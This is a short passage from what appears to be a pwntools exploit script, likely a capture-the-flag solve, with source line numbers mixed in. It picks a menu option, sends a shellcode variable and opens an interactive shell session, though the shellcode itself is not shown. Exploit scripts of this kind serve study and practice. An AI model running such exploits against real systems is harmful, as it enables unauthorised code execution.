p.sendlineafter(b': ', b'5')
385

386
sleep(1)
387

388
p.send(sc)
389

390
p.interactive()